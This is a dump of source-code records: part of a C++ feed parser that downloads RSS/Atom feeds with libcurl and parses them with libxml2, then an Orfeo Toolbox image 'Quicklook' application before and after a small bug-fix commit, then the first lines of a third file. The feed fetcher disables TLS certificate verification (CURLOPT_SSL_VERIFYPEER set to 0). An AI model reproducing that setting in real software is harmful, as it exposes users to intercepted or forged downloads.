{\n}\n\nparser::~parser() {\n\tif (doc)\n\t\txmlFreeDoc(doc);\n}\n\nstruct header_values {\n\ttime_t lastmodified;\n\tstd::string etag;\n\n\theader_values()\n\t\t: lastmodified(0)\n\t{\n\t}\n};\n\nstatic size_t handle_headers(void * ptr, size_t size, size_t nmemb, void * data) {\n\tchar * header = new char[size*nmemb + 1];\n\theader_values * values = (header_values *)data;\n\n\tmemcpy(header, ptr, size*nmemb);\n\theader[size*nmemb] = '\\0';\n\n\tif (!strncasecmp(\"Last-Modified:\", header, 14)) {\n\t\ttime_t r = curl_getdate(header+14, NULL);\n\t\tif (r == -1) {\n\t\t\tLOG(LOG_DEBUG, \"handle_headers: last-modified %s (curl_getdate FAILED)\", header+14);\n\t\t} else {\n\t\t\tvalues->lastmodified = curl_getdate(header+14, NULL);\n\t\t\tLOG(LOG_DEBUG, \"handle_headers: got last-modified %s (%d)\", header+14, values->lastmodified);\n\t\t}\n\t} else if (!strncasecmp(\"ETag:\",header, 5)) {\n\t\tvalues->etag = std::string(header+5);\n\t\tutils::trim(values->etag);\n\t\tLOG(LOG_DEBUG, \"handle_headers: got etag %s\", values->etag.c_str());\n\t}\n\n\tdelete[] header;\n\n\treturn size * nmemb;\n}\n\nfeed parser::parse_url(const std::string& url, time_t lastmodified, const std::string& etag, newsbeuter::remote_api * api, const std::string& cookie_cache, CURL *ehandle) {\n\tstd::string buf;\n\tCURLcode ret;\n\n\tCURL * easyhandle = ehandle;\n\tif (!easyhandle) {\n\t\teasyhandle = curl_easy_init();\n\t\tif (!easyhandle) {\n\t\t\tthrow exception(_(\"couldn't initialize libcurl\"));\n\t\t}\n\t}\n\n\tif (ua) {\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_USERAGENT, ua);\n\t}\n\tif (api) {\n\t\tapi->configure_handle(easyhandle);\n\t}\n\tcurl_easy_setopt(easyhandle, CURLOPT_URL, url.c_str());\n\tcurl_easy_setopt(easyhandle, CURLOPT_SSL_VERIFYPEER, 0);\n\tcurl_easy_setopt(easyhandle, CURLOPT_WRITEFUNCTION, my_write_data);\n\tcurl_easy_setopt(easyhandle, CURLOPT_WRITEDATA, &buf);\n\tcurl_easy_setopt(easyhandle, CURLOPT_NOSIGNAL, 1);\n\tcurl_easy_setopt(easyhandle, CURLOPT_FOLLOWLOCATION, 1);\n\tcurl_easy_setopt(easyhandle, CURLOPT_MAXREDIRS, 10);\n\tcurl_easy_setopt(easyhandle, CURLOPT_FAILONERROR, 1);\n\tcurl_easy_setopt(easyhandle, CURLOPT_ENCODING, \"gzip, deflate\");\n\tif (cookie_cache != \"\") {\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_COOKIEFILE, cookie_cache.c_str());\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_COOKIEJAR, cookie_cache.c_str());\n\t}\n\tif (to != 0)\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_TIMEOUT, to);\n\n\tif (prx)\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_PROXY, prx);\n\n\tif (prxauth) {\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_PROXYAUTH, CURLAUTH_ANY);\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_PROXYUSERPWD, prxauth);\n\t}\n\n\tcurl_easy_setopt(easyhandle, CURLOPT_PROXYTYPE, prxtype);\n\n\theader_values hdrs;\n\tcurl_easy_setopt(easyhandle, CURLOPT_HEADERDATA, &hdrs);\n\tcurl_easy_setopt(easyhandle, CURLOPT_HEADERFUNCTION, handle_headers);\n\n\tif (lastmodified != 0) {\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_TIMECONDITION, CURL_TIMECOND_IFMODSINCE);\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_TIMEVALUE, lastmodified);\n\t}\n\n\tcurl_slist * custom_headers = NULL;\n\tif (etag.length() > 0) {\n\t\tcustom_headers = curl_slist_append(custom_headers, utils::strprintf(\"If-None-Match: %s\", etag.c_str()).c_str());\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_HTTPHEADER, custom_headers);\n\t}\n\n\tret = curl_easy_perform(easyhandle);\n\n\tlm = hdrs.lastmodified;\n\tet = hdrs.etag;\n\n\tif (custom_headers) {\n\t\tcurl_easy_setopt(easyhandle, CURLOPT_HTTPHEADER, 0);\n\t\tcurl_slist_free_all(custom_headers);\n\t}\n\n\tLOG(LOG_DEBUG, \"rsspp::parser::parse_url: ret = %d\", ret);\n\n\tlong status;\n\tcurl_easy_getinfo(easyhandle, CURLINFO_HTTP_CONNECTCODE, &status);\n\n\tif (status >= 400) {\n\t\tLOG(LOG_USERERROR, _(\"Error: trying to download feed `%s' returned HTTP status code %ld.\"), url.c_str(), status);\n\t}\n\n\tif (!ehandle)\n\t\tcurl_easy_cleanup(easyhandle);\n\n\tif (ret != 0) {\n\t\tLOG(LOG_ERROR, \"rsspp::parser::parse_url: curl_easy_perform returned err %d: %s\", ret, curl_easy_strerror(ret));\n\t\tthrow exception(curl_easy_strerror(ret));\n\t}\n\n\tLOG(LOG_INFO, \"parser::parse_url: retrieved data for %s: %s\", url.c_str(), buf.c_str());\n\n\tif (buf.length() > 0) {\n\t\tLOG(LOG_DEBUG, \"parser::parse_url: handing over data to parse_buffer()\");\n\t\treturn parse_buffer(buf.c_str(), buf.length(), url.c_str());\n\t}\n\n\treturn feed();\n}\n\nfeed parser::parse_buffer(const char * buffer, size_t size, const char * url) {\n\tdoc = xmlReadMemory(buffer, size, url, NULL, XML_PARSE_RECOVER | XML_PARSE_NOERROR | XML_PARSE_NOWARNING);\n\tif (doc == NULL) {\n\t\tthrow exception(_(\"could not parse buffer\"));\n\t}\n\n\txmlNode* root_element = xmlDocGetRootElement(doc);\n\n\tfeed f = parse_xmlnode(root_element);\n\n\tif (doc->encoding) {\n\t\tf.encoding = (const char *)doc->encoding;\n\t}\n\n\tLOG(LOG_INFO, \"parser::parse_buffer: encoding = %s\", f.encoding.c_str());\n\n\treturn f;\n}\n\nfeed parser::parse_file(const std::string& filename) {\n\tdoc = xmlReadFile(filename.c_str(), NULL, XML_PARSE_RECOVER | XML_PARSE_NOERROR | XML_PARSE_NOWARNING);\n\tif (doc == NULL) {\n\t\tthrow exception(_(\"could not parse file\"));\n\t}\n\n\txmlNode* root_element = xmlDocGetRootElement(doc);\n\n\tfeed f = parse_xmlnode(root_element);\n\n\tif (doc->encoding) {\n\t\tf.encoding = (const char *)doc->encoding;\n\t}\n\n\tLOG(LOG_INFO, \"parser::parse_file: encoding = %s\", f.encoding.c_str());\n\n\treturn f;\n}\n\nfeed parser::parse_xmlnode(xmlNode* node) {\n\tfeed f;\n\n\tif (node) {\n\t\tif (node->name && node->type == XML_ELEMENT_NODE) {\n\t\t\tif (strcmp((const char *)node->name, \"rss\")==0) {\n\t\t\t\tconst char * version = (const char *)xmlGetProp(node, (const xmlChar *)\"version\");\n\t\t\t\tif (!version) {\n\t\t\t\t\txmlFree((void *)version);\n\t\t\t\t\tthrow exception(_(\"no RSS version\"));\n\t\t\t\t}\n\t\t\t\tif (strcmp(version, \"0.91\")==0)\n\t\t\t\t\tf.rss_version = RSS_0_91;\n\t\t\t\telse if (strcmp(version, \"0.92\")==0)\n\t\t\t\t\tf.rss_version = RSS_0_92;\n\t\t\t\telse if (strcmp(version, \"0.94\")==0)\n\t\t\t\t\tf.rss_version = RSS_0_94;\n\t\t\t\telse if (strcmp(version, \"2.0\")==0 || strcmp(version, \"2\")==0)\n\t\t\t\t\tf.rss_version = RSS_2_0;\n\t\t\t\telse {\n\t\t\t\t\txmlFree((void *)version);\n\t\t\t\t\tthrow exception(_(\"invalid RSS version\"));\n\t\t\t\t}\n\t\t\t\txmlFree((void *)version);\n\t\t\t} else if (strcmp((const char *)node->name, \"RDF\")==0) {\n\t\t\t\tf.rss_version = RSS_1_0;\n\t\t\t} else if (strcmp((const char *)node->name, \"feed\")==0) {\n\t\t\t\tif (node->ns && node->ns->href) {\n\t\t\t\t\tif (strcmp((const char *)node->ns->href, ATOM_0_3_URI)==0) {\n\t\t\t\t\t\tf.rss_version = ATOM_0_3;\n\t\t\t\t\t} else if (strcmp((const char *)node->ns->href, ATOM_1_0_URI)==0) {\n\t\t\t\t\t\tf.rss_version = ATOM_1_0;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tconst char * version = (const char *)xmlGetProp(node, (const xmlChar *)\"version\");\n\t\t\t\t\t\tif (!version) {\n\t\t\t\t\t\t\txmlFree((void *)version);\n\t\t\t\t\t\t\tthrow exception(_(\"invalid Atom version\"));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (strcmp(version, \"0.3\")==0) {\n\t\t\t\t\t\t\txmlFree((void *)version);\n\t\t\t\t\t\t\tf.rss_version = ATOM_0_3_NONS;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\txmlFree((void *)version);\n\t\t\t\t\t\t\tthrow exception(_(\"invalid Atom version\"));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tthrow exception(_(\"no Atom version\"));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tstd::tr1::shared_ptr<rss_parser> parser = rss_parser_factory::get_object(f, doc);\n\n\t\t\ttry {\n\t\t\t\tparser->parse_feed(f, node);\n\t\t\t} catch (exception& e) {\n\t\t\t\tthrow;\n\t\t\t}\n\t\t}\n\t} else {\n\t\tthrow exception(_(\"XML root node is NULL\"));\n\t}\n\n\treturn f;\n}\n\nvoid parser::global_init() {\n\tLIBXML_TEST_VERSION\n\tcurl_global_init(CURL_GLOBAL_ALL);\n}\n\nvoid parser::global_cleanup() {\n\txmlCleanupParser();\n\tcurl_global_cleanup();\n}\n\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2005-2017 Centre National d'Etudes Spatiales (CNES)\n *\n * This file is part of Orfeo Toolbox\n *\n * https:\/\/www.orfeo-toolbox.org\/\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"otbWrapperApplication.h\"\n#include \"otbWrapperApplicationFactory.h\"\n\n#include \"otbMultiChannelExtractROI.h\"\n#include \"otbStreamingShrinkImageFilter.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\nclass Quicklook : public Application\n{\npublic:\n \/** Standard class typedefs. *\/\n typedef Quicklook Self;\n typedef Application Superclass;\n typedef itk::SmartPointer<Self> Pointer;\n typedef itk::SmartPointer<const Self> ConstPointer;\n\n \/** Standard macro *\/\n itkNewMacro(Self);\n\n itkTypeMacro(Quicklook, otb::Application);\n\n \/** Typedefs *\/\n typedef float InputPixelType;\n typedef float OutputPixelType;\n typedef otb::MultiChannelExtractROI< InputPixelType, OutputPixelType > ExtractROIFilterType;\n typedef ExtractROIFilterType::InputImageType InputImageType;\n typedef ExtractROIFilterType::OutputImageType OutputImageType;\n typedef otb::StreamingShrinkImageFilter\n <ExtractROIFilterType::OutputImageType, ExtractROIFilterType::OutputImageType> ShrinkImageFilterType;\n\nprivate:\n void DoInit() ITK_OVERRIDE\n {\n SetName(\"Quicklook\");\n SetDescription(\"Generates a subsampled version of an image extract\");\n SetDocName(\"Quick Look\");\n SetDocLongDescription(\"Generates a subsampled version of an extract of an image defined by ROIStart and ROISize.\\n \"\n \"This extract is subsampled using the ratio OR the output image Size.\");\n SetDocLimitations(\" This application does not provide yet the optimal way to decode coarser level of resolution from JPEG2000 images (like in Monteverdi).\\n\"\n \"Trying to subsampled huge JPEG200 image with the application will lead to poor performances for now.\");\n SetDocAuthors(\"OTB-Team\");\n SetDocSeeAlso(\" \");\n\n AddDocTag(Tags::Manip);\n\n AddParameter(ParameterType_InputImage, \"in\", \"Input Image\");\n SetParameterDescription( \"in\", \"The image to read\" );\n\n AddParameter(ParameterType_OutputImage, \"out\", \"Output Image\");\n SetParameterDescription( \"out\" , \"The subsampled image\" );\n\n AddParameter(ParameterType_ListView, \"cl\", \"Channel List\");\n SetParameterDescription( \"cl\" , \"Selected channels\" );\n MandatoryOff(\"cl\");\n\n AddParameter(ParameterType_Int, \"rox\", \"ROI Origin X\");\n SetParameterDescription( \"rox\" , \"first point of ROI in x-direction\" );\n MandatoryOff(\"rox\");\n\n AddParameter(ParameterType_Int, \"roy\", \"ROI Origin Y\");\n SetParameterDescription( \"roy\" , \"first point of ROI in y-direction\" );\n MandatoryOff(\"roy\");\n\n AddParameter(ParameterType_Int, \"rsx\", \"ROI Size X\");\n SetParameterDescription( \"rsx\" , \"size of ROI in x-direction\" );\n MandatoryOff(\"rsx\");\n\n AddParameter(ParameterType_Int, \"rsy\", \"ROI Size Y\");\n SetParameterDescription( \"rsy\" , \"size of ROI in y-direction\" );\n MandatoryOff(\"rsy\");\n\n AddParameter(ParameterType_Int, \"sr\", \"Sampling ratio\");\n SetParameterDescription( \"sr\" , \"Sampling Ratio, default is 2\" );\n SetDefaultParameterInt(\"sr\", 2);\n SetMinimumParameterIntValue(\"sr\", 1);\n MandatoryOff(\"sr\");\n\n AddParameter(ParameterType_Int, \"sx\", \"Size X\");\n SetParameterDescription( \"sx\" , \"quicklook size in x-direction (used if no sampling ration is given)\" );\n MandatoryOff(\"sx\");\n DisableParameter(\"sx\");\n\n AddParameter(ParameterType_Int, \"sy\", \"Size Y\");\n SetParameterDescription( \"sy\" , \"quicklook size in y-direction (used if no sampling ration is given)\" );\n MandatoryOff(\"sy\");\n DisableParameter(\"sy\");\n\n SetDefaultParameterInt(\"rox\", 0);\n SetDefaultParameterInt(\"roy\", 0);\n SetDefaultParameterInt(\"rsx\", 0);\n SetDefaultParameterInt(\"rsy\", 0);\n\n \/\/ Doc example parameter settings\n SetDocExampleParameterValue(\"in\", \"qb_RoadExtract.tif\");\n SetDocExampleParameterValue(\"out\", \"quicklookImage.tif\");\n\n SetOfficialDocLink();\n }\n\n void DoUpdateParameters() ITK_OVERRIDE\n {\n \/\/ Update the sizes only if the user does not defined a size\n if ( HasValue(\"in\") )\n {\n InputImageType::Pointer inImage = GetParameterImage(\"in\");\n\n InputImageType::RegionType largestRegion = inImage->GetLargestPossibleRegion();\n\n \/\/ Update the values of the channels to be selected\n unsigned int nbComponents = inImage->GetNumberOfComponentsPerPixel();\n if (nbComponents != GetChoiceKeys(\"cl\").size())\n {\n ClearChoices(\"cl\");\n for (unsigned int idx = 0; idx < nbComponents; ++idx)\n {\n std::ostringstream key, item;\n key<<\"cl.channel\"<<idx+1;\n item<<\"Channel\"<<idx+1;\n AddChoice(key.str(), item.str());\n }\n }\n\n if (!HasUserValue(\"rsx\") && !HasUserValue(\"rsy\") )\n {\n SetParameterInt(\"rsx\",largestRegion.GetSize()[0]);\n SetParameterInt(\"rsy\",largestRegion.GetSize()[1]);\n }\n\n \/\/ Put the limit of the index and the size relative the image\n SetMinimumParameterIntValue(\"rsx\", 0);\n SetMaximumParameterIntValue(\"rsx\", largestRegion.GetSize(0));\n\n SetMinimumParameterIntValue(\"rsy\", 0);\n SetMaximumParameterIntValue(\"rsy\", largestRegion.GetSize(1));\n\n SetMinimumParameterIntValue(\"rox\", 0);\n SetMaximumParameterIntValue(\"rox\", largestRegion.GetSize(0)-1);\n\n SetMinimumParameterIntValue(\"roy\", 0);\n SetMaximumParameterIntValue(\"roy\", largestRegion.GetSize(1)-1);\n\n \/\/ Crop the roi region to be included in the largest possible\n \/\/ region\n if(!this->CropRegionOfInterest())\n {\n \/\/ Put the index of the ROI to origin and try to crop again\n SetParameterInt(\"rox\",0);\n SetParameterInt(\"roy\",0);\n this->CropRegionOfInterest();\n }\n }\n\n }\n\nbool CropRegionOfInterest()\n {\n FloatVectorImageType::RegionType region;\n region.SetSize(0, GetParameterInt(\"rsx\"));\n region.SetSize(1, GetParameterInt(\"rsy\"));\n region.SetIndex(0, GetParameterInt(\"rox\"));\n region.SetIndex(1, GetParameterInt(\"roy\"));\n\n if ( HasValue(\"in\") )\n {\n if (region.Crop(GetParameterImage(\"in\")->GetLargestPossibleRegion()))\n {\n SetParameterInt( \"rsx\", region.GetSize(0));\n SetParameterInt( \"rsy\", region.GetSize(1));\n SetParameterInt( \"rox\", region.GetIndex(0));\n SetParameterInt( \"roy\", region.GetIndex(1));\n return true;\n }\n }\n return false;\n }\n\n void DoExecute() ITK_OVERRIDE\n {\n InputImageType::Pointer inImage = GetParameterImage(\"in\");\n\n m_ExtractROIFilter = ExtractROIFilterType::New();\n m_ResamplingFilter = ShrinkImageFilterType::New();\n\n \/\/ The image on which the quicklook will be generated\n \/\/ Will eventually be the m_ExtractROIFilter output\n\n if (HasUserValue(\"rox\") || HasUserValue(\"roy\")\n || HasUserValue(\"rsx\") || HasUserValue(\"rsy\")\n || (GetSelectedItems(\"cl\").size() > 0))\n {\n m_ExtractROIFilter->SetInput(inImage);\n m_ExtractROIFilter->SetStartX(GetParameterInt(\"rox\"));\n m_ExtractROIFilter->SetStartY(GetParameterInt(\"roy\"));\n m_ExtractROIFilter->SetSizeX(GetParameterInt(\"rsx\"));\n m_ExtractROIFilter->SetSizeY(GetParameterInt(\"rsy\"));\n\n if ((GetSelectedItems(\"cl\").size() > 0))\n {\n for (unsigned int idx = 0; idx < GetSelectedItems(\"cl\").size(); ++idx)\n {\n m_ExtractROIFilter->SetChannel(GetSelectedItems(\"cl\")[idx] + 1 );\n }\n }\n else\n {\n unsigned int nbComponents = inImage->GetNumberOfComponentsPerPixel();\n for (unsigned int idx = 0; idx < nbComponents; ++idx)\n {\n m_ExtractROIFilter->SetChannel(idx + 1);\n }\n }\n m_ResamplingFilter->SetInput( m_ExtractROIFilter->GetOutput() );\n }\n else\n {\n m_ResamplingFilter->SetInput(inImage);\n }\n\n unsigned int Ratio = static_cast<unsigned int>(GetParameterInt(\"sr\"));\n unsigned int SamplingRatioX = 1;\n unsigned int SamplingRatioY = 1;\n\n if ( !HasUserValue(\"sr\") )\n {\n if ( IsParameterEnabled(\"sx\") && IsParameterEnabled(\"sy\") )\n {\n SamplingRatioX = GetParameterInt(\"rsx\") \/ GetParameterInt(\"sx\");\n SamplingRatioY = GetParameterInt(\"rsy\") \/ GetParameterInt(\"sy\");\n if (SamplingRatioX > Ratio) Ratio = SamplingRatioX;\n if (SamplingRatioY > Ratio) Ratio = SamplingRatioY;\n }\n else\n {\n if ( IsParameterEnabled(\"sx\") )\n {\n Ratio = GetParameterInt(\"rsx\") \/ GetParameterInt(\"sx\");\n }\n if ( IsParameterEnabled(\"sy\") )\n {\n Ratio = GetParameterInt(\"rsy\") \/ GetParameterInt(\"sy\");\n }\n }\n }\n\n if ( Ratio < 1)\n {\n otbAppLogFATAL( << \"Error in SizeX and\/or SizeY : ratio must be greater than 1.\");\n return;\n }\n otbAppLogINFO( << \"Ratio used: \"<<Ratio << \".\");\n\n m_ResamplingFilter->SetShrinkFactor( Ratio );\n m_ResamplingFilter->Update();\n\n SetParameterOutputImage(\"out\", m_ResamplingFilter->GetOutput());\n }\n\n ExtractROIFilterType::Pointer m_ExtractROIFilter;\n ShrinkImageFilterType::Pointer m_ResamplingFilter;\n\n};\n\n}\n}\n\nOTB_APPLICATION_EXPORT(otb::Wrapper::Quicklook)\n<commit_msg>BUG: only modify parameters if different<commit_after>\/*\n * Copyright (C) 2005-2017 Centre National d'Etudes Spatiales (CNES)\n *\n * This file is part of Orfeo Toolbox\n *\n * https:\/\/www.orfeo-toolbox.org\/\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"otbWrapperApplication.h\"\n#include \"otbWrapperApplicationFactory.h\"\n\n#include \"otbMultiChannelExtractROI.h\"\n#include \"otbStreamingShrinkImageFilter.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\nclass Quicklook : public Application\n{\npublic:\n \/** Standard class typedefs. *\/\n typedef Quicklook Self;\n typedef Application Superclass;\n typedef itk::SmartPointer<Self> Pointer;\n typedef itk::SmartPointer<const Self> ConstPointer;\n\n \/** Standard macro *\/\n itkNewMacro(Self);\n\n itkTypeMacro(Quicklook, otb::Application);\n\n \/** Typedefs *\/\n typedef float InputPixelType;\n typedef float OutputPixelType;\n typedef otb::MultiChannelExtractROI< InputPixelType, OutputPixelType > ExtractROIFilterType;\n typedef ExtractROIFilterType::InputImageType InputImageType;\n typedef ExtractROIFilterType::OutputImageType OutputImageType;\n typedef otb::StreamingShrinkImageFilter\n <ExtractROIFilterType::OutputImageType, ExtractROIFilterType::OutputImageType> ShrinkImageFilterType;\n\nprivate:\n void DoInit() ITK_OVERRIDE\n {\n SetName(\"Quicklook\");\n SetDescription(\"Generates a subsampled version of an image extract\");\n SetDocName(\"Quick Look\");\n SetDocLongDescription(\"Generates a subsampled version of an extract of an image defined by ROIStart and ROISize.\\n \"\n \"This extract is subsampled using the ratio OR the output image Size.\");\n SetDocLimitations(\" This application does not provide yet the optimal way to decode coarser level of resolution from JPEG2000 images (like in Monteverdi).\\n\"\n \"Trying to subsampled huge JPEG200 image with the application will lead to poor performances for now.\");\n SetDocAuthors(\"OTB-Team\");\n SetDocSeeAlso(\" \");\n\n AddDocTag(Tags::Manip);\n\n AddParameter(ParameterType_InputImage, \"in\", \"Input Image\");\n SetParameterDescription( \"in\", \"The image to read\" );\n\n AddParameter(ParameterType_OutputImage, \"out\", \"Output Image\");\n SetParameterDescription( \"out\" , \"The subsampled image\" );\n\n AddParameter(ParameterType_ListView, \"cl\", \"Channel List\");\n SetParameterDescription( \"cl\" , \"Selected channels\" );\n MandatoryOff(\"cl\");\n\n AddParameter(ParameterType_Int, \"rox\", \"ROI Origin X\");\n SetParameterDescription( \"rox\" , \"first point of ROI in x-direction\" );\n MandatoryOff(\"rox\");\n\n AddParameter(ParameterType_Int, \"roy\", \"ROI Origin Y\");\n SetParameterDescription( \"roy\" , \"first point of ROI in y-direction\" );\n MandatoryOff(\"roy\");\n\n AddParameter(ParameterType_Int, \"rsx\", \"ROI Size X\");\n SetParameterDescription( \"rsx\" , \"size of ROI in x-direction\" );\n MandatoryOff(\"rsx\");\n\n AddParameter(ParameterType_Int, \"rsy\", \"ROI Size Y\");\n SetParameterDescription( \"rsy\" , \"size of ROI in y-direction\" );\n MandatoryOff(\"rsy\");\n\n AddParameter(ParameterType_Int, \"sr\", \"Sampling ratio\");\n SetParameterDescription( \"sr\" , \"Sampling Ratio, default is 2\" );\n SetDefaultParameterInt(\"sr\", 2);\n SetMinimumParameterIntValue(\"sr\", 1);\n MandatoryOff(\"sr\");\n\n AddParameter(ParameterType_Int, \"sx\", \"Size X\");\n SetParameterDescription( \"sx\" , \"quicklook size in x-direction (used if no sampling ration is given)\" );\n MandatoryOff(\"sx\");\n DisableParameter(\"sx\");\n\n AddParameter(ParameterType_Int, \"sy\", \"Size Y\");\n SetParameterDescription( \"sy\" , \"quicklook size in y-direction (used if no sampling ration is given)\" );\n MandatoryOff(\"sy\");\n DisableParameter(\"sy\");\n\n SetDefaultParameterInt(\"rox\", 0);\n SetDefaultParameterInt(\"roy\", 0);\n SetDefaultParameterInt(\"rsx\", 0);\n SetDefaultParameterInt(\"rsy\", 0);\n\n \/\/ Doc example parameter settings\n SetDocExampleParameterValue(\"in\", \"qb_RoadExtract.tif\");\n SetDocExampleParameterValue(\"out\", \"quicklookImage.tif\");\n\n SetOfficialDocLink();\n }\n\n void DoUpdateParameters() ITK_OVERRIDE\n {\n \/\/ Update the sizes only if the user does not defined a size\n if ( HasValue(\"in\") )\n {\n InputImageType::Pointer inImage = GetParameterImage(\"in\");\n\n InputImageType::RegionType largestRegion = inImage->GetLargestPossibleRegion();\n\n \/\/ Update the values of the channels to be selected\n unsigned int nbComponents = inImage->GetNumberOfComponentsPerPixel();\n if (nbComponents != GetChoiceKeys(\"cl\").size())\n {\n ClearChoices(\"cl\");\n for (unsigned int idx = 0; idx < nbComponents; ++idx)\n {\n std::ostringstream key, item;\n key<<\"cl.channel\"<<idx+1;\n item<<\"Channel\"<<idx+1;\n AddChoice(key.str(), item.str());\n }\n }\n\n if (!HasUserValue(\"rsx\") && !HasUserValue(\"rsy\") )\n {\n SetParameterInt(\"rsx\",largestRegion.GetSize()[0]);\n SetParameterInt(\"rsy\",largestRegion.GetSize()[1]);\n }\n\n \/\/ Put the limit of the index and the size relative the image\n SetMinimumParameterIntValue(\"rsx\", 0);\n SetMaximumParameterIntValue(\"rsx\", largestRegion.GetSize(0));\n\n SetMinimumParameterIntValue(\"rsy\", 0);\n SetMaximumParameterIntValue(\"rsy\", largestRegion.GetSize(1));\n\n SetMinimumParameterIntValue(\"rox\", 0);\n SetMaximumParameterIntValue(\"rox\", largestRegion.GetSize(0)-1);\n\n SetMinimumParameterIntValue(\"roy\", 0);\n SetMaximumParameterIntValue(\"roy\", largestRegion.GetSize(1)-1);\n\n \/\/ Crop the roi region to be included in the largest possible\n \/\/ region\n if(!this->CropRegionOfInterest())\n {\n \/\/ Put the index of the ROI to origin and try to crop again\n SetParameterInt(\"rox\",0);\n SetParameterInt(\"roy\",0);\n this->CropRegionOfInterest();\n }\n }\n\n }\n\nbool CropRegionOfInterest()\n {\n FloatVectorImageType::RegionType region;\n region.SetSize(0, GetParameterInt(\"rsx\"));\n region.SetSize(1, GetParameterInt(\"rsy\"));\n region.SetIndex(0, GetParameterInt(\"rox\"));\n region.SetIndex(1, GetParameterInt(\"roy\"));\n FloatVectorImageType::RegionType region0 = region;\n\n if ( HasValue(\"in\") )\n {\n if (region.Crop(GetParameterImage(\"in\")->GetLargestPossibleRegion()))\n {\n if (region0.GetSize(0) != region.GetSize(0))\n SetParameterInt( \"rsx\", region.GetSize(0));\n if (region0.GetSize(1) != region.GetSize(1))\n SetParameterInt( \"rsy\", region.GetSize(1));\n if (region0.GetIndex(0) != region.GetIndex(0))\n SetParameterInt( \"rox\", region.GetIndex(0));\n if (region0.GetIndex(1) != region.GetIndex(1))\n SetParameterInt( \"roy\", region.GetIndex(1));\n return true;\n }\n }\n return false;\n }\n\n void DoExecute() ITK_OVERRIDE\n {\n InputImageType::Pointer inImage = GetParameterImage(\"in\");\n\n m_ExtractROIFilter = ExtractROIFilterType::New();\n m_ResamplingFilter = ShrinkImageFilterType::New();\n\n \/\/ The image on which the quicklook will be generated\n \/\/ Will eventually be the m_ExtractROIFilter output\n\n if (HasUserValue(\"rox\") || HasUserValue(\"roy\")\n || HasUserValue(\"rsx\") || HasUserValue(\"rsy\")\n || (GetSelectedItems(\"cl\").size() > 0))\n {\n m_ExtractROIFilter->SetInput(inImage);\n m_ExtractROIFilter->SetStartX(GetParameterInt(\"rox\"));\n m_ExtractROIFilter->SetStartY(GetParameterInt(\"roy\"));\n m_ExtractROIFilter->SetSizeX(GetParameterInt(\"rsx\"));\n m_ExtractROIFilter->SetSizeY(GetParameterInt(\"rsy\"));\n\n if ((GetSelectedItems(\"cl\").size() > 0))\n {\n for (unsigned int idx = 0; idx < GetSelectedItems(\"cl\").size(); ++idx)\n {\n m_ExtractROIFilter->SetChannel(GetSelectedItems(\"cl\")[idx] + 1 );\n }\n }\n else\n {\n unsigned int nbComponents = inImage->GetNumberOfComponentsPerPixel();\n for (unsigned int idx = 0; idx < nbComponents; ++idx)\n {\n m_ExtractROIFilter->SetChannel(idx + 1);\n }\n }\n m_ResamplingFilter->SetInput( m_ExtractROIFilter->GetOutput() );\n }\n else\n {\n m_ResamplingFilter->SetInput(inImage);\n }\n\n unsigned int Ratio = static_cast<unsigned int>(GetParameterInt(\"sr\"));\n unsigned int SamplingRatioX = 1;\n unsigned int SamplingRatioY = 1;\n\n if ( !HasUserValue(\"sr\") )\n {\n if ( IsParameterEnabled(\"sx\") && IsParameterEnabled(\"sy\") )\n {\n SamplingRatioX = GetParameterInt(\"rsx\") \/ GetParameterInt(\"sx\");\n SamplingRatioY = GetParameterInt(\"rsy\") \/ GetParameterInt(\"sy\");\n if (SamplingRatioX > Ratio) Ratio = SamplingRatioX;\n if (SamplingRatioY > Ratio) Ratio = SamplingRatioY;\n }\n else\n {\n if ( IsParameterEnabled(\"sx\") )\n {\n Ratio = GetParameterInt(\"rsx\") \/ GetParameterInt(\"sx\");\n }\n if ( IsParameterEnabled(\"sy\") )\n {\n Ratio = GetParameterInt(\"rsy\") \/ GetParameterInt(\"sy\");\n }\n }\n }\n\n if ( Ratio < 1)\n {\n otbAppLogFATAL( << \"Error in SizeX and\/or SizeY : ratio must be greater than 1.\");\n return;\n }\n otbAppLogINFO( << \"Ratio used: \"<<Ratio << \".\");\n\n m_ResamplingFilter->SetShrinkFactor( Ratio );\n m_ResamplingFilter->Update();\n\n SetParameterOutputImage(\"out\", m_ResamplingFilter->GetOutput());\n }\n\n ExtractROIFilterType::Pointer m_ExtractROIFilter;\n ShrinkImageFilterType::Pointer m_ResamplingFilter;\n\n};\n\n}\n}\n\nOTB_APPLICATION_EXPORT(otb::Wrapper::Quicklook)\n<|endoftext|>"} {"text":"<commit_before>#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"linenoise\/linenoise.h\"\n#include \"raptor.h\"\n#include \"routing\/raptor_api.h\"\n#include 